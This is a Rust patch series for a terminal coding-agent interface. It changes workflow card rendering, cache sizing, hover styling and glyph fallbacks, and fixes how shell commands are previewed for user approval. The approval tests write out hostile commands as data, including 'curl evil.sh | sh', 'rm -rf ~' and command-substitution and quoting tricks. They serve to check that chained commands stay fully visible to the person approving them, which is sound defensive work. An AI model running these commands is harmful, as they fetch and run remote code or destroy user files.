let card_owns_finish = |history: &[HistoryCell], run_id: &str| {
|
||||
@@ -5641,11 +5668,7 @@ impl App {
|
||||
if tool.name != "workflow" || tool.status == ToolStatus::Running {
|
||||
return false;
|
||||
}
|
||||
let Some(value) = tool
|
||||
.output
|
||||
.as_deref()
|
||||
.and_then(|out| serde_json::from_str::<serde_json::Value>(out).ok())
|
||||
else {
|
||||
let Some(value) = record_of(tool) else {
|
||||
return false;
|
||||
};
|
||||
value.get("run_id").and_then(serde_json::Value::as_str) == Some(run_id)
|
||||
@@ -5656,13 +5679,36 @@ impl App {
|
||||
)
|
||||
})
|
||||
};
|
||||
// The returned `start` card for this run, still showing `started`. A
|
||||
// card whose call is still running is left alone: its result would
|
||||
// overwrite the finish.
|
||||
let start_card = |history: &[HistoryCell], run_id: &str| {
|
||||
history.iter().rposition(|cell| {
|
||||
let HistoryCell::Tool(ToolCell::Generic(tool)) = cell else {
|
||||
return false;
|
||||
};
|
||||
if tool.name != "workflow" || tool.status == ToolStatus::Running {
|
||||
return false;
|
||||
}
|
||||
record_of(tool).is_some_and(|value| {
|
||||
value.get("run_id").and_then(serde_json::Value::as_str) == Some(run_id)
|
||||
&& value.get("transcript_line").is_none()
|
||||
&& matches!(
|
||||
value.get("status").and_then(serde_json::Value::as_str),
|
||||
None | Some("running" | "pending" | "started")
|
||||
)
|
||||
})
|
||||
})
|
||||
};
|
||||
let mut replaced = Vec::new();
|
||||
let mut lines = Vec::new();
|
||||
for run in &mut self.workflow_runs {
|
||||
if !run.lifecycle.is_terminal() || run.finish_announced {
|
||||
continue;
|
||||
}
|
||||
run.finish_announced = true;
|
||||
if card_owns_finish(&self.history, &run.run_id) {
|
||||
let start = start_card(&self.history, &run.run_id);
|
||||
if start.is_none() && card_owns_finish(&self.history, &run.run_id) {
|
||||
continue;
|
||||
}
|
||||
let mut output = run.to_run_json();
|
||||
@@ -5672,6 +5718,15 @@ impl App {
|
||||
WorkflowPanelLifecycle::Degraded => ToolStatus::Warning,
|
||||
_ => ToolStatus::Failed,
|
||||
};
|
||||
if let Some(index) = start
|
||||
&& let Some(HistoryCell::Tool(ToolCell::Generic(card))) =
|
||||
self.history.get_mut(index)
|
||||
{
|
||||
card.status = status;
|
||||
card.output = Some(output.to_string());
|
||||
replaced.push(index);
|
||||
continue;
|
||||
}
|
||||
lines.push(HistoryCell::Tool(ToolCell::Generic(GenericToolCell {
|
||||
name: "workflow".to_string(),
|
||||
status,
|
||||
@@ -5683,6 +5738,9 @@ impl App {
|
||||
is_diff: false,
|
||||
})));
|
||||
}
|
||||
for index in replaced {
|
||||
self.bump_history_cell(index);
|
||||
}
|
||||
for line in lines {
|
||||
self.add_message(line);
|
||||
}
|
||||
|
||||
@@ -1117,6 +1117,7 @@ impl App {
|
||||
fleet_draft_cell: std::sync::Arc::new(std::sync::Mutex::new(None)),
|
||||
constitution_draft_cell: std::sync::Arc::new(std::sync::Mutex::new(None)),
|
||||
mcp_login: None,
|
||||
mcp_retries: Vec::new(),
|
||||
prompt_suggestion_cell: std::sync::Arc::new(std::sync::Mutex::new(None)),
|
||||
balance_initiated: false,
|
||||
last_balance_fetch: None,
|
||||
|
||||
@@ -421,6 +421,15 @@ struct PrintfWriteFilePreview {
|
||||
}
|
||||
|
||||
fn parse_printf_write_file_command(command: &str) -> Option<PrintfWriteFilePreview> {
|
||||
// A chained or substituted command is not a plain file write: collapsing
|
||||
// it into `printf > target` would hide everything after the operator
|
||||
// from the approval card. Scan the whole command (not the halves around
|
||||
// the redirect) so quote state is never read from a mid-string split.
|
||||
// shlex and the scanners below only understand POSIX quoting. Bash's
|
||||
// ANSI-C and locale quotes need their original command shown in full.
|
||||
if command.contains("$'") || command.contains("$\"") || has_unquoted_shell_control(command) {
|
||||
return None;
|
||||
}
|
||||
let (before_redirect, after_redirect) = split_unquoted_redirect(command)?;
|
||||
let before_redirect = before_redirect.trim();
|
||||
if !before_redirect.starts_with("printf") {
|
||||
@@ -480,6 +489,44 @@ fn format_printf_write_file_preview(preview: PrintfWriteFilePreview) -> Vec<Stri
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether `text` holds shell syntax that runs or chains another command:
|
||||
/// an unquoted `;`, `&`, `|`, newline, `(` (subshell, `$(`, `<(`), or a
|
||||
/// command substitution (`$(` / backtick) even inside double quotes.
|
||||
fn has_unquoted_shell_control(text: &str) -> bool {
|
||||
let mut quote: Option<char> = None;
|
||||
let mut escaped = false;
|
||||
let mut prev: Option<char> = None;
|
||||
for ch in text.chars() {
|
||||
if escaped {
|
||||
escaped = false;
|
||||
prev = None;
|
||||
continue;
|
||||
}
|
||||
match quote {
|
||||
Some('\'') => {
|
||||
if ch == '\'' {
|
||||
quote = None;
|
||||
}
|
||||
}
|
||||
Some(_) => match ch {
|
||||
'\\' => escaped = true,
|
||||
'"' => quote = None,
|
||||
'`' => return true,
|
||||
'(' if prev == Some('$') => return true,
|
||||
_ => {}
|
||||
},
|
||||
None => match ch {
|
||||
'\\' => escaped = true,
|
||||
'\'' | '"' => quote = Some(ch),
|
||||
';' | '&' | '|' | '`' | '(' | '\n' | '\r' => return true,
|
||||
_ => {}
|
||||
},
|
||||
}
|
||||
prev = Some(ch);
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn split_unquoted_redirect(command: &str) -> Option<(&str, &str)> {
|
||||
let mut quote: Option<char> = None;
|
||||
let mut escaped = false;
|
||||
@@ -488,7 +535,7 @@ fn split_unquoted_redirect(command: &str) -> Option<(&str, &str)> {
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
if ch == '\\' {
|
||||
if ch == '\\' && quote != Some('\'') {
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -633,6 +633,59 @@ fn test_shell_formatter_detects_printf_write_file_preview() {
|
||||
assert!(lines.iter().any(|line| line.contains("world")));
|
||||
}
|
||||
|
||||
/// A chained command after `printf` is not a file write: the approval card
|
||||
/// must show every clause instead of collapsing to `printf > target`.
|
||||
#[test]
|
||||
fn test_shell_formatter_printf_preview_refuses_chained_commands() {
|
||||
assert_eq!(
|
||||
format_shell_command_for_approval("printf 'a'; curl evil.sh | sh > out.log"),
|
||||
vec!["printf 'a' ;", "curl evil.sh |", "sh > out.log"]
|
||||
);
|
||||
assert_eq!(
|
||||
format_shell_command_for_approval("printf x && rm -rf ~/work > /dev/null"),
|
||||
vec!["printf x &&", "rm -rf ~/work > /dev/null"]
|
||||
);
|
||||
for command in [
|
||||
"printf \"$(curl evil.sh | sh)\" > out.log",
|
||||
"printf `id` > out.log",
|
||||
"printf x & > out.log",
|
||||
"printf x\nrm -rf ~ > out.log",
|
||||
"printf 'a\\' x '>y'; rm -rf ~; echo ''",
|
||||
] {
|
||||
let lines = format_shell_command_for_approval(command);
|
||||
assert!(
|
||||
!lines[0].starts_with("printf >"),
|
||||
"{command:?} collapsed into a file-write preview: {lines:?}"
|
||||
);
|
||||
}
|
||||
// Operators inside quotes are data, so the plain write keeps its preview.
|
||||
let lines = format_shell_command_for_approval("printf 'a; b | c && `d` $(e)' > notes.txt");
|
||||
assert_eq!(lines[0], "printf > notes.txt");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_shell_formatter_preserves_unsupported_shell_quotes_in_full() {
|
||||
for command in [
|
||||
r#"printf $'\'' ; echo PWN ; echo \' > out.log"#,
|
||||
r#"printf $"translated" > out.log"#,
|
||||
] {
|
||||
let lines = format_shell_command_for_approval(command);
|
||||
assert!(
|
||||
!lines[0].starts_with("printf >"),
|
||||
"unsupported quoting collapsed into a file-write preview: {lines:?}"
|
||||
);
|
||||
assert_eq!(
|
||||
lines.join(" "),
|
||||
command,
|
||||
"approval must retain every clause"
|
||||
);
|
||||
}
|
||||
// A backslash is literal inside POSIX single quotes, including immediately
|
||||
// before the closing quote. Both preview scanners must agree on that.
|
||||
let lines = format_shell_command_for_approval(r#"printf 'literal\' > out.log"#);
|
||||
assert_eq!(lines, vec!["printf > out.log", " literal\\"]);
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// ApprovalView Tests — Benign Variant (single-key approve)
|
||||
// ========================================================================
|
||||
|
||||
@@ -93,6 +93,23 @@ pub fn ascii_fallback(symbol: &str) -> Option<&'static str> {
|
||||
"≈" | "~" => Some("~"),
|
||||
"🐳" | "🐋" => Some("w"),
|
||||
"…" => Some("."),
|
||||
// Affordance and menu glyphs. Each fallback is one ASCII cell: the
|
||||
// backend adapter swaps a single cell's symbol, so a wider spelling
|
||||
// would shift every cell after it on the row.
|
||||
"✎" => Some("e"),
|
||||
"↳" | "⇒" => Some(">"),
|
||||
"↩" => Some("<"),
|
||||
"⎇" => Some("y"),
|
||||
"◔" | "◎" => Some("*"),
|
||||
"⎘" | "⧉" => Some("="),
|
||||
"▣" | "⌘" => Some("#"),
|
||||
"⚑" => Some("!"),
|
||||
// A joined line break in a command preview: `;` keeps it reading as
|
||||
// a separate command rather than a redirect.
|
||||
"⏎" => Some(";"),
|
||||
"⇧" => Some("^"),
|
||||
"⌥" => Some("~"),
|
||||
"ⓘ" => Some("i"),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
@@ -146,6 +163,22 @@ mod tests {
|
||||
("⏱", "@"),
|
||||
("🐳", "w"),
|
||||
("🐋", "w"),
|
||||
("✎", "e"),
|
||||
("↳", ">"),
|
||||
("⎇", "y"),
|
||||
("◔", "*"),
|
||||
("⎘", "="),
|
||||
("▣", "#"),
|
||||
("⧉", "="),
|
||||
("⚑", "!"),
|
||||
("⏎", ";"),
|
||||
("⇧", "^"),
|
||||
("⌥", "~"),
|
||||
("⌘", "#"),
|
||||
("⇒", ">"),
|
||||
("◎", "*"),
|
||||
("↩", "<"),
|
||||
("ⓘ", "i"),
|
||||
] {
|
||||
assert_eq!(ascii_fallback(rich), Some(safe));
|
||||
}
|
||||
@@ -155,6 +188,12 @@ mod tests {
|
||||
"current and available must stay distinct in ASCII"
|
||||
);
|
||||
assert_eq!(braille_ascii_fallback('\u{2801}'), Some("."));
|
||||
// The backend adapter replaces one cell's symbol: every single-glyph
|
||||
// fallback must stay one ASCII cell or the rest of the row shifts.
|
||||
for (rich, safe) in [("…", "."), ("✎", "e"), ("ⓘ", "i")] {
|
||||
assert_eq!(ascii_fallback(rich), Some(safe));
|
||||
assert_eq!(unicode_width::UnicodeWidthStr::width(safe), 1);
|
||||
}
|
||||
assert_eq!(braille_ascii_fallback('A'), None);
|
||||
}
|
||||
}
|
||||
@@ -2018,13 +2018,16 @@ impl GenericToolCell {
|
||||
))
|
||||
}
|
||||
|
||||
/// Render the `workflow` tool as the transcript's two lines per run
|
||||
/// (#4122): the call that launched it is one `started` line naming the
|
||||
/// run, and the card `App::announce_settled_workflows` writes when the run
|
||||
/// settles is one finish line — state, agents, elapsed, tokens — with the
|
||||
/// result or reason under it. Live progress is the workbar's, not the
|
||||
/// transcript's. Transcript mode expands the finish card's phase/child
|
||||
/// detail. Status-list payloads keep a multi-run summary card.
|
||||
/// Render the `workflow` tool as the transcript's one row per run
|
||||
/// (#4122): while the run is live, the call that launched it is one
|
||||
/// `started` line naming the run; when it settles,
|
||||
/// `App::announce_settled_workflows` swaps that card's record for the
|
||||
/// finish, so the same row becomes the final state — outcome counts,
|
||||
/// elapsed, tokens — with the result or the reason under it. A card that
|
||||
/// returned a settled record (a foreground `run`, a `status` poll) shows
|
||||
/// only the finish. Live progress is the workbar's, not the transcript's.
|
||||
/// Transcript mode expands the finish card's phase/child detail.
|
||||
/// Status-list payloads keep a multi-run summary card.
|
||||
fn try_render_as_workflow(
|
||||
&self,
|
||||
width: u16,
|
||||
@@ -2036,7 +2039,40 @@ impl GenericToolCell {
|
||||
return None;
|
||||
}
|
||||
let output = self.output.as_ref()?;
|
||||
let value: serde_json::Value = serde_json::from_str(output).ok()?;
|
||||
let Ok(value) = serde_json::from_str::<serde_json::Value>(output) else {
|
||||
// A call the runtime refused (invalid plan, unknown fleet) never
|
||||
// started a run. It says why — the error's first sentence, wrapped
|
||||
// under the header — instead of echoing `action: start`; the full
|
||||
// error and validation feedback stay behind the details key.
|
||||
if self.status != ToolStatus::Failed {
|
||||
return None;
|
||||
}
|
||||
let reason = workflow_call_error_reason(output)?;
|
||||
let family = crate::tui::widgets::tool_card::tool_family_for_name("workflow");
|
||||
let mut lines = vec![render_tool_header_with_family_and_summary(
|
||||
family,
|
||||
None,
|
||||
tool_status_label(self.status),
|
||||
self.status,
|
||||
None,
|
||||
low_motion,
|
||||
)];
|
||||
lines.extend(render_card_detail_line(
|
||||
None,
|
||||
&reason,
|
||||
tool_value_style(),
|
||||
width,
|
||||
));
|
||||
if matches!(mode, RenderMode::Transcript) {
|
||||
lines.extend(render_tool_output_mode(
|
||||
output,
|
||||
width,
|
||||
TOOL_OUTPUT_LINE_LIMIT,
|
||||
mode,
|
||||
));
|
||||
}
|
||||
return Some(wrap_card_rail(lines, self.status));
|
||||
};
|
||||
let is_status_list =
|
||||
value.get("action").and_then(serde_json::Value::as_str) == Some("status");
|
||||
if value.get("run_id").is_none() && !is_status_list {
|
||||
@@ -2102,10 +2138,12 @@ impl GenericToolCell {
|
||||
// `App::announce_settled_workflows` writes later.
|
||||
let owns_finish =
|
||||
finish_card || (self.status != ToolStatus::Running && panel.lifecycle.is_terminal());
|
||||
if !finish_card {
|
||||
if !owns_finish {
|
||||
// The start line: the run's name. Its progress lives in the
|
||||
// workbar, never here.
|
||||
let name = panel.label.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
// workbar, never here. A card that already holds the settled
|
||||
// record shows only the finish: the final state replaces
|
||||
// `started`, one row per run.
|
||||
let name = panel.short_title();
|
||||
lines.push(render_tool_header_with_family_and_summary(
|
||||
family,
|
||||
Some(name.as_str()),
|
||||
@@ -2145,10 +2183,18 @@ impl GenericToolCell {
|
||||
low_motion,
|
||||
));
|
||||
if let Some(detail) = detail {
|
||||
let room = usize::from(width).saturating_sub(4).max(8);
|
||||
// Why a run fell short is the one fact worth reading: its first
|
||||
// sentence wraps instead of being cut. A success summary keeps to
|
||||
// one row, cut at a word boundary; the expand key shows the rest.
|
||||
let detail = if finish_status == ToolStatus::Failed {
|
||||
detail
|
||||
} else {
|
||||
let room = usize::from(width).saturating_sub(4).max(8);
|
||||
crate::tui::ui_text::semantic_truncate(&detail, room)
|
||||
};
|
||||
lines.extend(render_card_detail_line(
|
||||
None,
|
||||
&crate::tui::ui_text::truncate_line_to_width(&detail, room),
|
||||
&detail,
|
||||
tool_value_style(),
|
||||
width,
|
||||
));
|
||||
@@ -2186,6 +2232,24 @@ impl GenericToolCell {
|
||||
}
|
||||
}
|
||||
|
||||
/// The first sentence of a refused `workflow` call's error, without the
|
||||
/// dispatcher's `Error: Invalid input for tool 'workflow':` preamble, which
|
||||
/// names the tool the card already names.
|
||||
fn workflow_call_error_reason(output: &str) -> Option<String> {
|
||||
let first = output
|
||||
.lines()
|
||||
.map(str::trim)
|
||||
.find(|line| !line.is_empty())?;
|
||||
let first = first.strip_prefix("Error:").map_or(first, str::trim_start);
|
||||
let first = if first.starts_with("Invalid input for tool") {
|
||||
first.split_once("': ").map_or(first, |(_, rest)| rest)
|
||||
} else {
|
||||
first
|
||||
};
|
||||
let reason = crate::tui::widgets::workflow_panel::first_sentence(first);
|
||||
(!reason.is_empty()).then_some(reason)
|
||||
}
|
||||
|
||||
/// Render the inline annotation for a tool cell whose full output was
|
||||
/// retained internally and replaced by a bounded preview. The annotation
|
||||
/// stays calm and path-free: it only says the output was shortened and that
|
||||
|
||||
@@ -1590,9 +1590,9 @@ fn a_web_search_receipt_names_its_source_and_any_degradation() {
|
||||
}
|
||||
}
|
||||
|
||||
/// A workflow's transcript is its start and its finish; live progress is the
|
||||
/// A workflow's transcript is one row per run; live progress is the
|
||||
/// workbar's. A foreground `run` card that returned its settled record says
|
||||
/// both — started, then finished with agents — without repeating the header
|
||||
/// only the finish — the final state replaces `started` — without repeating the header
|
||||
/// in a body; the expanded card adds the goal, the child labels, the final
|
||||
/// result and the error; the status card lists the runs it found.
|
||||
///
|
||||
@@ -1622,12 +1622,15 @@ fn workflow_cards_report_lifecycle_children_phases_and_failures() {
|
||||
run.input_summary = Some("action: run".to_string());
|
||||
run.output = Some(run_output);
|
||||
let text = lines_text(&run.lines_with_mode(120, true, RenderMode::Live));
|
||||
assert!(text.contains("started"), "the start line: {text:?}");
|
||||
assert!(
|
||||
text.contains("finished") && text.contains("/3 agents"),
|
||||
"the finish line with finished/total agents: {text:?}"
|
||||
!text.contains("started"),
|
||||
"the settled record replaces the start line: {text:?}"
|
||||
);
|
||||
assert_eq!(text.lines().count(), 2, "start and finish only: {text:?}");
|
||||
assert!(
|
||||
text.contains("finished") && text.contains("/3 done"),
|
||||
"the finish line with done/total agents: {text:?}"
|
||||
);
|
||||
assert_eq!(text.lines().count(), 1, "one row for the run: {text:?}");
|
||||
// #6503: a run with no failures does not announce `0 fail`.
|
||||
assert!(!text.contains("fail"), "no zero failure count: {text:?}");
|
||||
assert!(
|
||||
@@ -1695,6 +1698,76 @@ fn workflow_cards_report_lifecycle_children_phases_and_failures() {
|
||||
}
|
||||
}
|
||||
|
||||
/// The founder's transcript (2026-09-28): a refused `start` echoed
|
||||
/// `action: start` and hid its reason; the settled run's reason was cut
|
||||
/// mid-word. Each is one row that says why.
|
||||
#[test]
|
||||
fn workflow_rows_say_why_without_raw_action_or_mid_word_cuts() {
|
||||
let mut refused = generic_tool("workflow", ToolStatus::Failed);
|
||||
refused.input_summary = Some("action: start".to_string());
|
||||
refused.output = Some(
|
||||
"Error: Invalid input for tool 'workflow': Workflow leaf 'engine-readiness': \
|
||||
task(): cwd entries must be bounded repo-relative paths\n\
|
||||
Tool validation feedback: {\"category\":\"invalid_input\"}"
|
||||
.to_string(),
|
||||
);
|
||||
let text = lines_text(&refused.lines_with_mode(100, true, RenderMode::Live));
|
||||
assert!(!text.contains("action: start"), "{text}");
|
||||
assert!(
|
||||
text.contains("cwd entries must be bounded repo-relative paths"),
|
||||
"{text}"
|
||||
);
|
||||
assert!(!text.contains("Invalid input for tool"), "{text}");
|
||||
|
||||
let reason = "[auth] Authorization failed: You have run out of credits or need a Grok \
|
||||
subscription. Add credits at https://grok.com/?_s=usage.";
|
||||
let failed = serde_json::json!({
|
||||
"run_id": "workflow_6409ebe6",
|
||||
"status": "failed",
|
||||
"workflow_goal": "Read-only release-readiness audit for Codewhale v0.10.1. Determine blockers.",
|
||||
"started_at_ms": 1_000,
|
||||
"completed_at_ms": 1_355,
|
||||
"error": "no task produced a result: all 2 task(s) failed and 1 fan-out(s) lost every slot (no work survived them); the recorded result reflects no completed work",
|
||||
"transcript_line": "finished",
|
||||
"events": [
|
||||
{"type": "run_started", "at_ms": 1_000, "workflow_goal": "Read-only release-readiness audit for Codewhale v0.10.1. Determine blockers."},
|
||||
{"type": "task_started", "at_ms": 1_080, "task_id": "a", "workflow_task_label": "engine-readiness"},
|
||||
{"type": "task_started", "at_ms": 1_117, "task_id": "b", "workflow_task_label": "desktop-readiness"},
|
||||
{"type": "task_completed", "at_ms": 1_329, "task_id": "a", "status": "failed", "reason": reason},
|
||||
{"type": "task_completed", "at_ms": 1_338, "task_id": "b", "status": "failed", "reason": reason},
|
||||
{"type": "run_completed", "at_ms": 1_355, "status": "failed"},
|
||||
],
|
||||
})
|
||||
.to_string();
|
||||
let mut finish = generic_tool("workflow", ToolStatus::Failed);
|
||||
finish.output = Some(failed);
|
||||
let text = lines_text(&finish.lines_with_mode(60, true, RenderMode::Live));
|
||||
assert!(!text.contains("started"), "{text}");
|
||||
assert!(text.contains("0/2 done · 2 failed"), "{text}");
|
||||
assert!(text.contains("355ms"), "{text}");
|
||||
// The whole first sentence, wrapped, never cut.
|
||||
let flat = text
|
||||
.split_whitespace()
|
||||
.filter(|word| {
|
||||
!word
|
||||
.chars()
|
||||
.all(|ch| ('\u{2500}'..='\u{259F}').contains(&ch))
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ");
|
||||
assert!(
|
||||
flat.contains(
|
||||
"Authorization failed: You have run out of credits or need a Grok subscription"
|
||||
),
|
||||
"{text}"
|
||||
);
|
||||
assert!(
|
||||
!flat.contains("grok.com"),
|
||||
"only the first sentence: {text}"
|
||||
);
|
||||
assert!(!text.contains("..."), "{text}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn degraded_workflow_receipt_is_terminal_warning_not_running_or_success() {
|
||||
let output = serde_json::json!({
|
||||
|
||||
@@ -109,6 +109,11 @@ fn elapsed_ms() -> u128 {
|
||||
}
|
||||
|
||||
/// Paint OSC-8 / file-ref underline glow on a hovered link span row.
|
||||
///
|
||||
/// Underline is a text-line decoration, so only a one-row target gets it. A
|
||||
/// multi-row control — the 3x3 jump-to-latest button, a workbar panel — is a
|
||||
/// box: underlining every row ruled a line through its borders and under its
|
||||
/// bottom edge (#6697). Those keep the foreground glow alone.
|
||||
pub fn paint_link_glow(
|
||||
buf: &mut Buffer,
|
||||
area: Rect,
|
||||
@@ -117,6 +122,7 @@ pub fn paint_link_glow(
|
||||
) {
|
||||
let ms = elapsed_ms();
|
||||
let style = link_hover_style(fg, reduced_motion, ms);
|
||||
let underline = area.height == 1;
|
||||
for y in area.y..area.y.saturating_add(area.height) {
|
||||
for x in area.x..area.x.saturating_add(area.width) {
|
||||
if x >= buf.area.x.saturating_add(buf.area.width)
|
||||
@@ -128,7 +134,9 @@ pub fn paint_link_glow(
|
||||
if let Some(color) = style.fg {
|
||||
cell.set_fg(color);
|
||||
}
|
||||
cell.modifier.insert(Modifier::UNDERLINED);
|
||||
if underline {
|
||||
cell.modifier.insert(Modifier::UNDERLINED);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -246,6 +254,49 @@ mod tests {
|
||||
clear_pointer();
|
||||
}
|
||||
|
||||
/// #6697: hovering the 3x3 jump-to-latest button drew a horizontal rule
|
||||
/// under each of its rows. A box control glows; only a one-row link
|
||||
/// underlines.
|
||||
#[test]
|
||||
fn multi_row_button_hover_glows_without_underline_rules() {
|
||||
let _guard = HOVER_TEST_LOCK.lock().unwrap();
|
||||
let theme = palette::UI_THEME;
|
||||
let glow = link_hover_style(theme.accent_primary, true, 0)
|
||||
.fg
|
||||
.expect("glow colour");
|
||||
let mut buf = Buffer::empty(Rect::new(0, 0, 8, 5));
|
||||
let button = Rect::new(4, 1, 3, 3);
|
||||
Block::default()
|
||||
.borders(Borders::ALL)
|
||||
.border_type(ratatui::widgets::BorderType::Rounded)
|
||||
.render(button, &mut buf);
|
||||
let link = Rect::new(0, 0, 3, 1);
|
||||
|
||||
for (target, pointer) in [(button, (5, 2)), (link, (1, 0))] {
|
||||
clear_pointer();
|
||||
begin_frame();
|
||||
set_pointer(pointer.0, pointer.1);
|
||||
register_rect(HoverTargetKind::Link, target, "control", false);
|
||||
apply_resolved_effects(&mut buf, true, &theme);
|
||||
}
|
||||
clear_pointer();
|
||||
|
||||
for y in button.y..button.bottom() {
|
||||
for x in button.x..button.right() {
|
||||
let cell = &buf[(x, y)];
|
||||
assert!(
|
||||
!cell.modifier.contains(Modifier::UNDERLINED),
|
||||
"button cell ({x},{y}) {:?} must not be underlined",
|
||||
cell.symbol()
|
||||
);
|
||||
assert_eq!(cell.fg, glow, "button cell ({x},{y}) keeps the glow");
|
||||
}
|
||||
}
|
||||
for x in link.x..link.right() {
|
||||
assert!(buf[(x, 0)].modifier.contains(Modifier::UNDERLINED));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn truncated_text_popover_wraps_and_stays_inside_bottom_edge() {
|
||||
let hit = HoverHit {
|
||||
|
||||
@@ -313,6 +313,10 @@ impl LiveTranscriptOverlay {
|
||||
};
|
||||
|
||||
let mut cache = self.cache.borrow_mut();
|
||||
// Room for every cell plus a new revision of each, so the sweep
|
||||
// below never evicts entries it is about to read (a 1,000-cell
|
||||
// transcript against the old fixed 512 cap missed every lookup).
|
||||
cache.ensure_capacity(self.snapshots.len().saturating_mul(2));
|
||||
for (cell_idx, snap) in self.snapshots.iter().enumerate() {
|
||||
// Borrow the cached slice and clone each line (and its links)
|
||||
// exactly once into the flattened output.
|
||||
@@ -965,6 +969,32 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// A transcript longer than the default cache cap must still hit the
|
||||
/// wrap cache on the next sweep instead of re-wrapping every cell.
|
||||
#[test]
|
||||
fn thousand_cell_sweep_hits_the_cache_on_the_second_pass() {
|
||||
let mut v = LiveTranscriptOverlay::new();
|
||||
let cells = (0..1_000)
|
||||
.map(|index| user(&format!("cell {index}")))
|
||||
.collect::<Vec<_>>();
|
||||
install_snapshots(&mut v, cells);
|
||||
let area = Rect::new(0, 0, 60, 16);
|
||||
let mut buf = Buffer::empty(area);
|
||||
v.render(area, &mut buf);
|
||||
assert_eq!(
|
||||
v.cache.borrow().len(),
|
||||
1_000,
|
||||
"the first sweep must keep every cell's wrap"
|
||||
);
|
||||
mark_snapshots_changed(&v);
|
||||
v.render(area, &mut buf);
|
||||
assert_eq!(
|
||||
v.cache.borrow().len(),
|
||||
1_000,
|
||||
"the second sweep must reuse every wrap, not re-insert any"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cache_invalidates_on_revision_bump() {
|
||||
let mut v = LiveTranscriptOverlay::new();
|
||||
|
||||
@@ -2238,7 +2238,8 @@ mod tests {
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
assert!(rendered.contains("started"), "{rendered}");
|
||||
// The settled record replaces `started`: one row for the run.
|
||||
assert!(!rendered.contains("started"), "{rendered}");
|
||||
assert!(rendered.contains("finished"), "{rendered}");
|
||||
assert!(rendered.contains("3 findings"), "{rendered}");
|
||||
}
|
||||
@@ -2276,12 +2277,13 @@ mod tests {
|
||||
);
|
||||
|
||||
app.flush_active_cell();
|
||||
assert_eq!(app.history.len(), 2, "start card, then finish line");
|
||||
let HistoryCell::Tool(ToolCell::Generic(finish)) = &app.history[1] else {
|
||||
// One row per run: the start card becomes the finish, in place.
|
||||
assert_eq!(app.history.len(), 1, "the start card is the finish line");
|
||||
let HistoryCell::Tool(ToolCell::Generic(finish)) = &app.history[0] else {
|
||||
panic!("finish line is a workflow card");
|
||||
};
|
||||
assert_eq!(finish.status, ToolStatus::Failed);
|
||||
let rendered = app.history[1]
|
||||
let rendered = app.history[0]
|
||||
.lines(100)
|
||||
.iter()
|
||||
.map(|line| {
|
||||
@@ -2295,26 +2297,15 @@ mod tests {
|
||||
assert!(rendered.contains("failed"), "{rendered}");
|
||||
assert!(rendered.contains("quick"), "{rendered}");
|
||||
assert!(rendered.contains("script error, line 3"), "{rendered}");
|
||||
let start = app.history[0]
|
||||
.lines(100)
|
||||
.iter()
|
||||
.map(|line| {
|
||||
line.spans
|
||||
.iter()
|
||||
.map(|s| s.content.as_ref())
|
||||
.collect::<String>()
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
assert!(
|
||||
start.contains("started") && start.contains("quick"),
|
||||
"{start}"
|
||||
);
|
||||
assert_eq!(
|
||||
start.lines().count(),
|
||||
1,
|
||||
"the start card is one line: {start}"
|
||||
assert!(!rendered.contains("started"), "{rendered}");
|
||||
|
||||
// The live stream repeating the terminal event writes nothing more.
|
||||
apply_workflow_ui_event(
|
||||
&mut app,
|
||||
"run-fast",
|
||||
&json!({"type": "run_completed", "status": "failed", "error": "script error, line 3", "at_ms": 1_400}),
|
||||
);
|
||||
assert_eq!(app.history.len(), 1);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
|
||||
@@ -14,7 +14,9 @@
|
||||
//!
|
||||
//! The cache is bounded to keep memory predictable on long sessions.
|
||||
//! Eviction is a simple insertion-order scheme — a strict LRU would be
|
||||
//! overkill for the access pattern (full sweep on every render frame).
|
||||
//! overkill for the access pattern (full sweep on every render frame) —
|
||||
//! and the owner sizes the cap to the sweep with
|
||||
//! [`TranscriptCache::ensure_capacity`] so a sweep never evicts itself.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::collections::VecDeque;
|
||||
@@ -82,6 +84,15 @@ impl TranscriptCache {
|
||||
}
|
||||
}
|
||||
|
||||
/// Grow the cap to at least `min_capacity`; never shrinks. The overlay
|
||||
/// sweeps every cell each rebuild, and insertion-order eviction under a
|
||||
/// cap smaller than that sweep evicts each entry before its next use —
|
||||
/// every lookup misses. Sizing to the sweep keeps the scheme simple and
|
||||
/// the hit rate whole.
|
||||
pub fn ensure_capacity(&mut self, min_capacity: usize) {
|
||||
self.capacity = self.capacity.max(min_capacity);
|
||||
}
|
||||
|
||||
/// Look up wrapped lines previously rendered at this exact key. Returns
|
||||
/// `None` if the cell never wrapped at this width/revision before.
|
||||
#[must_use]
|
||||
|
||||
@@ -1987,6 +1987,7 @@ pub(crate) async fn run_event_loop(
|
||||
|
||||
// Discovery and callback delivery never park terminal input.
|
||||
poll_mcp_login(app);
|
||||
poll_mcp_retries(app);
|
||||
|
||||
// #1830/#2317: service any already-arrived terminal keys before a
|
||||
// potentially long engine batch so composer/modal input stays live.
|
||||
|
||||
@@ -708,6 +708,170 @@ fn mcp_scoped_config_path(
|
||||
})
|
||||
}
|
||||
|
||||
/// Whether a turn (or its compaction work) owns the engine. The engine
|
||||
/// services ops only between turns, so an op sent now waits for that turn.
|
||||
fn mcp_engine_busy(app: &App) -> bool {
|
||||
app.is_loading
|
||||
|| app.dispatch_in_flight
|
||||
|| matches!(app.runtime_turn_status.as_deref(), Some("in_progress"))
|
||||
|| app.is_compacting
|
||||
|| app.manual_compaction_queued
|
||||
}
|
||||
|
||||
/// Rebuild the open Extensions panel from live state, so a row's pending or
|
||||
